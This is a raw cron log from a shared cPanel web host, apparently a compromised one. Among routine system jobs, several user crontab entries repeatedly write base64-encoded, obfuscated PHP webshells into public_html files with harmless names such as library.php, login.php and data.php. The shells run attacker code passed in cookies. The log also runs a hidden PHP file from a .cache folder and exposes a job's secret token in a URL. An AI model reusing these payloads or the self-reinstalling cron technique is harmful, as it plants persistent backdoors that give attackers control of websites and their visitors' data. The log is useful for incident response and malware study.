Jun  7 10:54:02 medusa CROND[526]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:54:02 medusa CROND[527]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:54:02 medusa CROND[528]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:54:02 medusa CROND[529]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:54:02 medusa CROND[532]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 10:54:02 medusa CROND[531]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:54:02 medusa CROND[530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:54:02 medusa CROND[534]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:54:02 medusa CROND[536]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:54:02 medusa CROND[539]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:54:02 medusa CROND[538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:54:02 medusa CROND[543]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:54:02 medusa CROND[544]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:55:01 medusa CROND[2325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:55:01 medusa CROND[2337]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 10:55:01 medusa CROND[2340]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 10:55:01 medusa CROND[2344]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 10:55:01 medusa CROND[2347]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 10:55:01 medusa CROND[2348]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 10:55:01 medusa CROND[2349]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:55:01 medusa CROND[2350]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 10:55:01 medusa CROND[2351]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:55:01 medusa CROND[2355]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:55:01 medusa CROND[2356]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:55:01 medusa CROND[2364]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:55:01 medusa CROND[2365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:55:01 medusa CROND[2366]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:55:01 medusa CROND[2368]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:55:01 medusa CROND[2370]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 10:55:01 medusa CROND[2371]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:55:01 medusa CROND[2354]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 10:55:01 medusa CROND[2361]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 10:55:01 medusa CROND[2360]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 10:55:01 medusa CROND[2378]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:55:01 medusa CROND[2367]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 10:56:02 medusa CROND[3871]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:56:02 medusa CROND[3870]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 10:56:02 medusa CROND[3872]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:56:02 medusa CROND[3873]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:56:02 medusa CROND[3874]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 10:56:02 medusa CROND[3878]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:56:02 medusa CROND[3877]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:56:02 medusa CROND[3875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:56:02 medusa CROND[3881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
